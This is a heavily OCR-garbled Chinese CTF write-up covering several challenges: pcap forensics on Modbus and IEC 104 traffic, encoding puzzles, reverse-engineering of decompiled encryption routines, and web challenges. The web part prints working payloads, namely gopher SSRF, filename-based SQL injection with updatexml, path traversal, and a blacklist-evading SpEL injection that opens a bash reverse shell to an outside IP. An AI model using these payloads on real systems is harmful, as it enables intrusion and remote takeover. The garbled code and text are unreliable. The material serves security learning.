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HAFHR ~ A v O EaxIsE FHE v rlag
Time Source Destination Protocol Length Info
539 65.981321 192.168.183.1 192.168.183.157 IEC 608.. 76 <- I (111,137) ASDU=1
540 66.024051 192.168.183.157 192.168.183.1 TCP 54 2404 -» 62227 [ACK] Seq
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BE—THRER:kL
Ict.pyc Jy-pyc 8611.pcapng* x LED bOombOom.pcapng

)0h - [EDNEBNENIEE 00 00 00 4D 3C 2B 1A 01 00 00 00 M+, L

Oh: FF FF FF FF FF FF FF FF 02 00 34 00 41 4D 44 20 Y§§yyyyy. .4.AMD
'0h: 52 79 7A 65 6E 20 37 20 34 38 30 30 55 20 77 69 Ryzen 7 4800U wi
J0h: 74 68 20 52 61 64 65 6F 6E 20 47 72 61 70 68 69 th Radeon Graphi

l0h: 63 73 20 28 77 69 74 68 20 53 53 45 34 2E 32 29 cs (with SSE4TH)
KEKEAR, BH—T
ct.pyc Jjy-pyc LED bOombOom.pcapng 8611.pcapng* x

Oh L0oA oD oD 0A BC ho 00 00 4D 3C 2B 1A 01 00 00 00 ....%. ..M<+..

IFF FF FF FF FF FF FF FFl 02 00 34 00 41 4D 44 20 §§yyyyyy) .4.A
Oh. 52 79 7A 65 6E 20 37 20 34 38 30 30 55 20 77 69 Ryzen 7 4800U
Oh: 74 68 20 52 61 64 65 6F 6E 20 47 72 61 70 68 69 th Radeon Gra
Oh: 63 73 20 28 77 69 74 68 20 53 |53 45 34 2E 32 29 cs (with SSE4
Oh: 03 00 25 00 36 34 2D 62 69 74 20 57 69 6E 64 6F ..%.64-bit Wi
Oh: 77 73 20 31 30 20 28 32 30 30 34 29 2C 20 62 75 ws 10 (2004),
0Oh: 69 6C 64 20 31 39 30 34 31 00 00 00 04 00 32 00 ild 19041....

Oh: 44 75 6D 70 63 61 70 20 28 57 69 72 65 73 68 61 Dumpcap”({Wire
A ULIE#E T 7T

M 3611 pcapng

XHHE) GRIEE) MEN) BEEG) RO o) HmIHS) EIEY)  kR&Ww) TEO)  #BH)

Am @ R Rex=ZF IS =EQQaH

M EAETEE ~ il

No. Time Source Destination Protocol Length Info

| 2 0.000009 10.0.7.148 10.0.39.35 TCP 66 [TCP Out-Of-Order] 55742 -» 7680 [SYN] Seq=0 Win=64240 Len=0
3 0.029914 10.0.39.35 10.0.7.148 TCP 66 7680 » 55742 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=138
4 0.030055 10.0.7.148 10.0.39.35 TCP 54 55742 » 7680 [ACK] Seq=1 Ack=1 Win=131072 Len=0

| 5 0.030062 10.0.7.148 10.0.39.35 TCP 54 [TCP Dup ACK 4#1] 55742 -» 7680 [ACK] Seq=1 Ack=1 Win=131072
6 0.031391 10.0.7.148 10.0.39.35 TCP 129 55742 > 7680 [PSH, ACK] Seg=1 Ack=1 Win=131072 Len=75

| 7 0.031407 10.0.7.148 10.0.39.35 TCP 129 [TCP Retransmission] 55742 - 7680 [PSH, ACK] Seq=1 Ack=1 Wi
8 0.057969 10.0.39.35 10.0.7.148 TCP 129 7680 » 55742 [PSH, ACK] Seq=1 Ack=76 Win=130816 Len=75
9 0.058920 10.0.7.148 10.0.39.35 TCP 84 55742 » 7680 [PSH, ACK] Seq=76 Ack=76 Win=130816 Len=30

| 10 0.058928 10.0.7.148 10.0.39.35 TCP 84 [TCP Retransmission] 55742 -» 7680 [PSH, ACK] Seq=76 Ack=76
11 0.078018 10.0.39.35 10.0.7.148 TCP 84 7680 » 55742 [PSH, ACK] Seq=76 Ack=106 Win=130816 Len=30
12 0.079059 10.0.39.35 10.0.7.148 TCP 54 7680 » 55742 [FIN, ACK] Seq=106 Ack=106 Win=130816 Len=0

\ Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface \Device\NPF_{1E@@9DA7-4A7B-4FOC-A772-6D811FFILZFA}

B S Hmodbusii &
=il



import pyshark
def get code():
captures pyshark.FileCapture(
func_codes {}
for ¢ in captures:
for pkt in c:

if pkt.layer_name

func_code (pkt.func_code)

if func_code in func_codes:
func_codes[func_code] 1
else:
func_codes[func_code] 1
print(func_codes)

captures.close()

if _ name__

get_code()

iR
{1:196, 3: 116, 6: 18}

B X

0x01 L4

0x05 5 BaAN 25 Bl
0xOF 5 £ /M2k

0x02 L EEERA

0x04 LA N\ FF 77 8%

0x03 BEAR:F A 77 2%

0x06 5 BARIF A7 4%

0x10 5L AMRIFHF A4
BRI 6 REHF 74 3/

RIERH, MonkeyR—ZiRE) KIZR, HEBRECKE, EHTRIAVNEER LR, RIVLHED GEEZ 100005/ 281 K
i, MonkeyfE & #— R KNS E BEAT WA R A T #hE, HUBUTRT K AEE i s, A SR ERRE, ERIEM K
RO E BT RSV EX S T 284 WIS flag Aflag{data+H 5}
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import pyshark
def get code():
captures pyshark.FileCapture(
func_codes {}
for ¢ in captures:
for pkt in c:

if pkt.layer_name

func_code (pkt.func_code)

if func_code in func_codes:
func_codes[func_code]
else:
func_codes[func_code]
print(func_codes)

captures.close()

if _ name__

find_flag(6)

00000000000601060001091d
161 *
00000000000601060001091d
162 *
0000000000060106000109fb
163 *
0000000000060106000109fb
164 *
00000000000601060001154F
165 *
00000000000601060001154F
166 *
000000000006010600011a0a
167 *
000000000006010600011a0a
168 *
000000000006010600011b39
185 *
000000000006010600011b39
186 *
000000000006010600011b35
187 *
000000000006010600011b35
188 *
000000000006010600012766
189 *
000000000006010600012766
190 *
00000000000601060001270F
ileal =
00000000000601060001270F
192 *
0000000000060106000126cd
OB
0000000000060106000126cd
194 *




000000000006010600012766 XM K% #id 7100000 ¥ #10086
Pt LAFE JEOR HO i BB R BX B 4w 5 968156

[“‘modbus
No. Time Source Destination Protocol Length Info
67923 842.012273 10.0.43.110 10.0.7.148 Modbus/... 66 Query: Trans: 0; Unit: 1, Func: 6: Write Single Register
67925 842.017280 10.0.7.148 10.0.43.110 Modbus/... 66 Response: Trans: 0; Unit: 1, Func: 6: Write Single Register
68156 849.225558 10.0.43.110 10.0.7.148 Modbus/... 66 Query: Trans: 0; Unit: 1, Func: 6: Write Single Register
68158 849.229858 10.0.7.148 10.0.43.110 Modbus/... 66 Response: Trans: 9; Unit: 1, Func: 6: Write Single Register
68340 857.219536 10.0.43.110 10.0.7.148 Modbus/... 66 Query: Trans: 0; Unit: 1, Func: 6: Write Single Register
68342 857.219848 10.0.7.148 10.0.43.110 Modbus/... 66 Response: Trans: Q; Unit: 1, Func: 6: Write Single Register
68685 867.694494 10.0.43.110 10.0.7.148 Modbus/... 66 Query: Trans: 0; Unit: 1, Func: 6: Write Single Register
68687 867.694845 10.0.7.148 10.0.43.110 Modbus/... 66 Response: Trans: 0; Unit: 1, Func: 6: Write Single Register .. .
flag: flag{10086+68156} it &flag{1008668156} &3¢ .
carefulguy
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iPE=ewe, 9:= [1RnBif<7_aCwlt

mELR | BHlAE | tRESHEFEUAE T
— B B B | £ P
bazefdB3ig:
bazed2B3S:
bazel IS
bazef5 (a) B30
basedh (b) B .
bazeB8REIS: B
bazelGfEie: ///,
bazed 1 B30 welcome_57_world xypO7
bazed2EI: Ef/%aadesg[1=0Ih >3
EiRbaconfis:
EEHRER T
AR
WHERED: rel=nrsn, 9:={] IeKao<T_8L=1k
Rot13859: viE=rijr. 9:={]Ealws<T_8Pjla
QuotedfEF i iFE=e>we, 9:={]FEnBif<7 &8Cwlb
Atbash#iig.: REVVDVINTQUXDT
TSFuck i iPE=erwe, 9:={]EnBjf<7_8Cwlb
TTEncode B89
BrainFuck#i9:
TRLEZ 1S iPE=erwe, 9:={]EnBjf<T_8Cwlh
Unicode—str#i8S:  iPE=e>we, 9:=[]EnBif<7_8Cwlb
Thicode—b=sciif:
ByvtesHE1S: iPE=e>we, 9:={]EnBjf<7_&8Cwlh
Ezcapef3ig: iPE=ewe, 9:={]FnBf<7_ 8Cwlb
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flag{welcome_S7_world_xyp07}




JE S R R 1)

c $ ./squid
current time: Sun Apr 24 12:11:27 2022

You should open the program between 2022-04-24 09:09:09 s and 2022-04-24 09:09:10 s

You shouldn't break the rules

You shouldn't break the rules

You shouldn't break the rules

unfortunately, ~bye~ _ CSDN @43k »

i fdatefir & B B &, 7£)530iER AT

$ sudo date -s 09:09:09 | ./squid

[-1 I won't give you the decryption key again, you're a layer

[-] warning: Please stop running now, or all files in the current folder will be encrypted
[-]1 you have 5 seconds

nc_ o e i T e ) CSDN @$43
BeSlkalih %, & F R BENEE NN, RIRDT
)-[~[ctfltifs]
sudo date -s 09:09:06

20266 048 24H E H H 09:09:06 CST

|_—( )-[~[ctfltils]
sudo date -s 09:09:09 | ./squid
[+] current time: Sun Apr 24 09:09:09 2022
[+] yeah, Congratulations on getting the decryption key

flag{c4c728s9ccbc87e4b5ce2f} e

ez_algorithm

idaZr i 5 R BB, RN A FRFBEATACE, AR AT CUR L.
HHAEREI T, BENMREKpythonfii4. 7T LI H
flag{w3LcOmME#t0+3NcrYPtiON:}

Horh gt ARV E Y Rk FAF, BT AR A flag b B e — T 2 R4R A2 BI T

#include <stdio.h>
#tinclude <string.h>
#tinclude "idatypes.h"
char *xyp2(void)

{

return "ckagevdxizblgnwtmsrpufyhoj";

¥

char *xyp3(void)

{
return "TMQZWKGOIAGLBYHPCRJISUXEVND";

¥

int64 encryption3(char al)
unsigned __ int8 v2; // [rsp+1@h] [rbp+16h]

v2 = al;
if ( (al <= 64 || a1l > 70) && (al <= 96 || a1 > 102) )

{
if ( (al <= 84 || al > 90) && (al <= 116 || a1l > 122) )




if ( (al <= 71 || a1l > 77) && (al <= 103 || a1l > 109) )

{
if ( (al <= 77 || a1l > 83) && (al <= 109 || a1l > 115) )

{
if (a1l == 71 || al == 103 )

{
return (unsigned __ int8)(al + 13);

)
else if ( al == 84 || a1l == 116 )

{
return (unsigned _ int8)(al - 13);

}
else if ( al > 47 && al <= 57 )

{
return (unsigned _ int8) (105 - al);

}

else

{
return (unsigned _ int8)(al - 6);

}

else

{

return (unsigned _ int8)(al + 6);

}

else

{
return (unsigned _ int8)(al - 20);

}

else

{
return (unsigned _ int8)(al + 20);

}

return v2;

int64 encryption2(char al)

unsigned _ int8 v2; // [rsp+30h] [rbp+10h]
= al;

if (al <=64 || a1 > 90 )
{

if (al <= 96 || a1 > 122 )
{

if ( al > 47 && al <= 57 )
return (unsigned __int8)encryption3(al);

¥

else

{

return (unsigned __int8)encryption3(al - 32);

}

else

{

return (unsigned __int8)encryption3(al + 32);




}

return v2;

char * encryption(char *al)

{

int vl; // eax

char v2; // al

char v3; // al

__int64 v4;

char v5; // al

char v6; // al

int v7; // eax

char v8; // al

char v9; // al

char v10; // al

char vi1; // al

char v12; // al

char v14[1012]; // [rsp+20h] [rbp-60h] BYREF
int v15; // [rsp+414h] [rbp+394h]

const char *v16; // [rsp+418h] [rbp+398h]
const char *v17; // [rsp+420h] [rbp+3A0h]
int v18; // [rsp+42Ch] [rbp+3ACh]

char *v19; // [rsp+430h] [rbp+3Boh]

char *v20; // [rsp+438h] [rbp+3B8h]

vl7 = xyp2();
V16 = xyp3();
v20 vl4d;
v19 al;

vl8 = 0;

vl5 = 1;

while ( v18 < strlen(al) )
{

//printf("---v19: %x\n",*v19);
if ( *v19 <= ox40 || *vi9 > 90 )
{
if ( *v19 <= 0x60 || *v19 > 122 )

{

if ( *v19 == '_
{
switch ( v15 + rand() % 7 )
{
case 0:
*v20 = '
break;
case 1:
*v20 = '&';
break;
case 2:
*v20 = '+';
break;
case 3:
*v20 = '*';
break;
case 4:
*v20 = "\\';

break;

// ckagevdxizblgnwtmsrpufyhoj
// TMQZWKGOIAGLBYHPCRISUXEVND

/] EREF

// FENE

/] TFRIZ




*y20 = '?';
break;
case 6:
*v20 = '$';
break;
case 7:
*v20 = '#';
break;
default:
break;

}
else if ( *v19 <= Ox2F || *v19 > ox39 ) // d¥F=F - 5B
{
*v20 = *v19;
}
else
{
v1l2 = encryption2(*v19);
*v20 = v12;

/] NEFR

v7 = v18 % 4;
if (v18 % 4 == 1)
{
v9 = encryption2(v17[(*v19 - 'a') * (v18 % 4)]);
*v20 = v9;
¥
else if (v7 > 1)
{
if ( v7 2 )
{
v10 = encryption2(v17[(*v19 - 97) ~ (v18 % 4)]);
*v20 = v10;
¥
else if ( v7 == 3 )
{
vll = encryption2(v17[*v19 - 97 + v18 % 4]);
*v20 = vll;

¥
else if ( !v7 )

{
v8 = encryption2(v17[*v19 - 97 - vi8 % 4]);

= V8;

/] REFH

= v18
if ( vi8
{

v3 = encryption2(v16[*v19 - 65 + v18 % 4]);
*v20 = v3;
}

else if (vl > 1)




v1l8 * (*v19 - 65);
encryption2(v16[ (((HIDWORD(v4) >> 30) + (unsigned _ int8)v18 * (*v19 - 65)) & 3) - (HIDWORD(v4) >

> 30)1);
*v20 = V5;
}
else if (vl == 3 )
{
v6 = encryption2(v16[(*v19 - 65) ~ (v18 % 4)]);
*v20 = v6;

}

else if ( !v1 )

{
v2 = encryption2(v16[*v19 - 65 - vi8 % 4]);
*v20 = v2;

++Vv18;

++v19;

++Vv20;
¥
printf("%s\n",v14);
return vi4;

const char *xypl(void)

{
return "BRUF{E60U9Ci#J9+6nWAhwMRON:}";

int main()

{
const char *v3; // rax
char v5[1000]; // [rsp+20h] [rbp-60h] BYREF
char *Strl; // [rsp+408h] [rbp+388h]

sprintf(v5,"abc123");

while(1){

scanf("%s", v5);

Strl = encryption(v5);
¥

/*
printf("ret:%s\n",Strl);
v3 = xypl();
if ( !strcmp(Stri, v3) )
puts("Gj!You Win!!!1");
else
puts("Sry!You Lost!!!");
system("pause");




from pwn import

r = process(

t string

(len(cc))
for c in string.printable:
r.sendline(flag+c)
t r.recvline()

if (t[i] cc[i]):
print(c,t[i],cc[i])
flag C
break
print(flag)
r.interactive()

Re_function

Zipin# T BRER, RI—HE163EHI .
i} CyberChef 18 2 #4:

[ SOV N, O AU LT O T [
Last build: 8 months ago Options € About / Supp
. = Length: 32765 =
Recipe om 3 Input T + O3 .
A H 89 50 4E 47 0D OA 1A OA 00 00 00 0D 49 48 44 52 00 00 04 83 00 00 01 CE 08 06 00 00 00 OB F5 CO E2 00 00 20 00 49 44 41 54 78 9C ED DD AD 77 1C D9
rom Hex 37 E@ CE 5D 2F 88 A@ 98 85 22 B3 5C E6 FC 87 19 66 33 1B 8D CD 46 28 36 93 90 64 34 12 1A OF B2 98 C5 3C 46 OE 93 59 OC C3 02 C7 2C Do 86 03 CD 66
Delimiter BD 77 F7 BC D5 39 2A 55 B7 FA A3 BA EB 63 3F CF 5A 5A B1 3C F7 4E 2A FA A8 3A F5 3B 7B EF F3 87 FF F9 3F 13 00 00 00 00 52 F8 AF AE 2F 00 00 00 00
VSpace DD 11 06 01 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00 90 83 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00 80 44 84 41 00 00 00
89 08 83 00 00 00 00 12 11 06 01 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00 90 83 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00
44 84 41 00 00 00 00 89 08 83 00 00 00 00 12 11 06 01 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00 90 88 30 08 00 00 00 20 11 61 10 00 00 00
Render Image 22 C2 20 00 00 00 80 44 84 41 V0 D0 00 00 89 08 83 V0 00 00 00 12 11 V6 V1 00 00 00 24 22 OC ©2 00 00 00 48 44 18 V4 00 00 00 90 88 30 08 00 00 VO
11 61 10 00 00 00 40 22 C2 20 00 00 00 80 44 84 41 00 00 00 00 89 08 83 00 00 00 00 12 11 06 01 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00
Input format 88 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00 80 44 84 41 00 00 00 00 89 08 83 00 00 00 00 12 11 06 01 00 00 00 24 22 OC 02 00 00 00
Raw 44 18 04 00 00 00 90 88 30 08 00 00 00 20 11 61 10 00 00 00 40 22 (2 20 00 00 00 80 44 84 41 00 00 00 00 89 08 83 00 00 00 00 12 11 06 01 00 00 00

22 0C 02 00 00 00 43 44 18 04 00 00 00 90 83 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00 80 44 84 41 00 00 00 00 89 08 83 00 00 00 00
11 06 @1 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00 90 88 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00 80 44 84 41 00 00 00 00
08 83 00 00 00 00 12 11 06 ©1 00 00 00 24 22 OC 02 00 00 00 48 44 18 @4 00 00 00 90 83 30 08 00 00 00 20 11 61 10 00 00 00 40 22 C2 20 00 00 00 80
84 41 00 00 00 00 89 08 83 00 00 00 00 12 11 06 01 00 00 00 24 22 OC 02 00 00 00 48 44 18 04 00 00 00 90 83 30 08 00 00 00 20 11 61 10 00 00 00 40
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time: 1lms

s Tength
Output ength: 10922
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re_easy_funcl.exe LAHZHA:



for (1 =0; 1i<v4; i+=2)

Buffer[i] ~= ©x37u;

V6 = 0;

if (v4 <=0 )
goto LABEL_7;

do

{
v7 = *((_BYTE *)&v10 + v6);
v8 Buffer[ve++];

}
while ( v6 < v4 )

re_easy_func—~#:Kbase64

AR

flag=[100, 113, 84, 84, 100, 120, 116, 120, 100, 65, 64, 72, 112, 109, 24, 74, 65, 120, 102, 114, 65, 120, 94, 7
8, 93, 82, 14, 61]

for i in (0, (flag),2):
flag[i] 0x37
print( (flag))

import base64
El
b

C
trantab c.maketrans(b, a)
print(base64.b64decode(c.translate(trantab)))

freestyle

from sympy import Symbol,solve
X = Symbol( )
y = Symbol( )

fx=4 (3

P solve(fx,x)
print(r)

y = 105

import hashlib

print(hashlib.md5( ) .hexdigest())




web
Sign_in

TR :

<?php
highlight file(__ FILE_);
$ch = curl init();
curl setopt($ch, CURLOPT URL, $ GET[

curl setopt($ch, CURLOPT_HEADER, 9);
curl _exec($ch);

curl close($ch);

X BB DL TSSRF, FRABE#Eflethiliiflag, KM, FHAFVLEEElag, ©F LML, LEEKHER

RIFARHLES, httpHUVT i, RIL—MFERIIHLES

<?php
highlight_file(__FILE_ );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ GET['url']);
curl_setopt($ch, CURLOPT_HEADER, @);
curl_exec($ch);
curl_close($ch);

> LLAMBGET—a

sole Sources Network Performance Memory Application Security Lighthouse HackBar Cookie Editor

EXECUTE TEST -~ saLl - Xss -~ LFI ~ SSTI ~ SHELL -~ ENCODING -~ HASHING

3:20003/?url=http://172.73.26.100 CSDN @F&3¢
B3R Na, b2, FBERAH, Mbolean.club, F|Fgophertil

urllib.parse.quote(payload)
url.replace( 5 )

urllib.parse.quote(result)

print(res)




B3%flag: flag{Have A_GoOd_T1ma3!!!}

u

pload

IMEEStype Nct Efephp3Cf, KBLAT L EAREA T
Q. 124.222.173.163:8001/upload/fdb13fbc29fa5ae3c8dc762d0ebbeela.php

« C @

Dbg OEE Octf Omip L Espa Ogdzz OEETE DO assP DgElid Oz Optace QiRAETF |TmEHL @ VPN Coremail

N

CSDN @78

BEUT SsqlFR, ZREY RALM LRSI ST, SR5| Ksqifkss

L POST / HITP/1.1 1 HTTP/1.1 200 OK 3
2 Host: 124.222.173.163:8001 2 Date: Sun, 24 Apr 2022 12:52:25 GMT i
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) 3 Server: Apache/2.4.18 (Ubuntu) g

Gecko/20100101 Firefox/99.0 4 Vary: Accept-Encoding
1 Accept: 5 Content-Length: 578

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/web 6 Connection: close

p, */%;q=0. 8 7 Content-Type: text/html; charset=UTF-8
5 Accept-Language: 8

zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US ;q=0. 3, en;q=0. 2 9 <!DOCTYPE html>
5 Accept-Encoding: gzip, deflate 10 <html lang="en”>
7 Content-Type: multipart/form-data; 11 <head>

boundary= 191267464038996625293277111558 12 <meta charset="UTF-8">
3 Content-Length: 234 13 <title>
) Origin: http://124.222.173.163:8001 i 4 b
) Connection: close <Jtitle>
| Referer: http://124.222.173.163:8001/ 14 </head>
2 Cookie: JSESSIONID=CBC6703E7COE0A46FB40D63C55C38842 15 <body>
3 Upgrade-Insecure-Requests: 1 16 <form action="" method="post” enctype="multipart/form-data”>
1 17 <input type="file” name="upfile”>
5 191267464038996625293277111558 18 Cinput type="submit” value=" [-f£”>
5 Content-Disposition: form-data; name="upfile”; filename="ma.php ” 19 </form>
7 Content-Type: ctf 20 </body>
3 21 </html>
) <?php phpinfo(); 2> 22 Error: insert into upload file values(’ al27207d149366eb2303675afb39eac3. php’’) ;<br>
) 191267464038996625293277111558—— You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
L

CSDN @#:3%
Al Nai
ZRIBETEA
11 Referer: http://124.222.173. 163:8001/ 14 </head>
12 Cookie: JSESSIONID=CBC6703E7COEOA46FB40D63CH5C38842 15 <body>
13 Upgrade—Insecure—Requests: 1 16 (form action="" method="post” enctype="multipart/form-dat:
14 17 {input type="file” name="upfile”>
15 191267464038996625293277111558 18 <input type="submit” value="_L{£">
16 Content-Disposition: form—data; name="upfile”; filename="ma.php && 19 </form>
updatexml (3, concat (0x7e, database ()),1) and '1'="1" 20 </body>

17 Content—Type: ctf 21 </html>
18 22 Error: insert into upload file values( 6ch81fch5d211a9f5955dc’
19 <2php phpinfo(); 2> XPATH syntax error: = upload
20 191267464038996625293277111558——
21

#& HuploadfE, M sqimapth i LARIIX, JE&E NS

SIS

o

191267464038996625293277111558

Content-Disposition: form-data; name="upfile”; filename="ma.php &&

updatexml (3, concat (0x7e, (select flag from flag)),1) and '1'="1"
7 Content-Type: ctf

[ee

9

o

<?php phpinfo(); ?>

7
13
14
15
16

17
18
19
20
21

— 2,

191267464038996625293277111558——

Upgrade—-Insecure—Requests: 1

Content-Disposition: form—data; name="upfile”;

CSDN @35

HF£ 4, H selectflag from flagifid & B AT BA H Sk 26 43flag:

<1nput Type= Ille name= upriie >

18 <input type="submit” value=" Ff4">
19 </form>

20 </body>

21 </html>

22 Error: insert into upload_file values (' 848f46c7e831b793a520001ecc993b70. php’ && updatexml (3, co
XPATH syntax error: ' flag{5937a0b90b5966939cccd36929

16 {form action="" method="post” enctype="multipart/form—d
17 <input type="file” name="upfile”>
191267464038996625293277111558 18 <input type="submit” value=" f&”>
filename="ma. php’ && 19 </form>

updatexml (3, concat (0xTe, (select right(flag, 20) from flag)),1) and '1'="1" 20 </body>

Content—Type: ctf

<?php phpinfo(); 2>

191267464038996625293277111558~

5 3flag: flag{5937a0b90b5966939cccd369291c68aa}

21 </html>
22 Error: insert into upload file values (' ch6ff0a8elf1d9c645cd
XPATH syntax error: ' 6939cccd369291c68aal’

CSDN @#¥t



ez_java

FEXHTE, ZidniRERweb.xml

?>filename=../../../web.xml

KN test388 5 download, T #*t M Kiclass3C 1t

?filename=../../../classes/com/abc/servlet/TestServlet.class

?filename=../../../classes/com/abc/servlet/DownloadServlet.class

R4 G RIspelRiEIEN, BLRFERT

return false:

private String getAdvanceValue(String wval)
TemplateParserContext parserContext = new TemplateParserContext () ;
SpelExpressionParser parser = new SpelExpressionParser()
Expression exp = parser. parseExpression(val, parserContext):

StandardEvaluationContext evaluationContext = new StandardEvaluationContext():
return exp. getValue (evaluationContext). toString();

1
!

private String[] getBlacklist() {
’.’]

return new Stringl]{”java. tlang”, “Runtime”, “exec.*\\("};
1
} .

Wi R 5T R PRSI R4 ., payload

name=#{T(String).getClass().forName("ja"+va.l"+"ang.Ru"+"nt"+"ime").getMethod("ex"+"ec",T(String[])).invoke(T(St

ring).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forNa

me("java.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","bash -i >&/dev/tcp/150.158.181.145/2000 0>&1"})}

8 3flag: flag{123awerghjvxcvcjfreawe}
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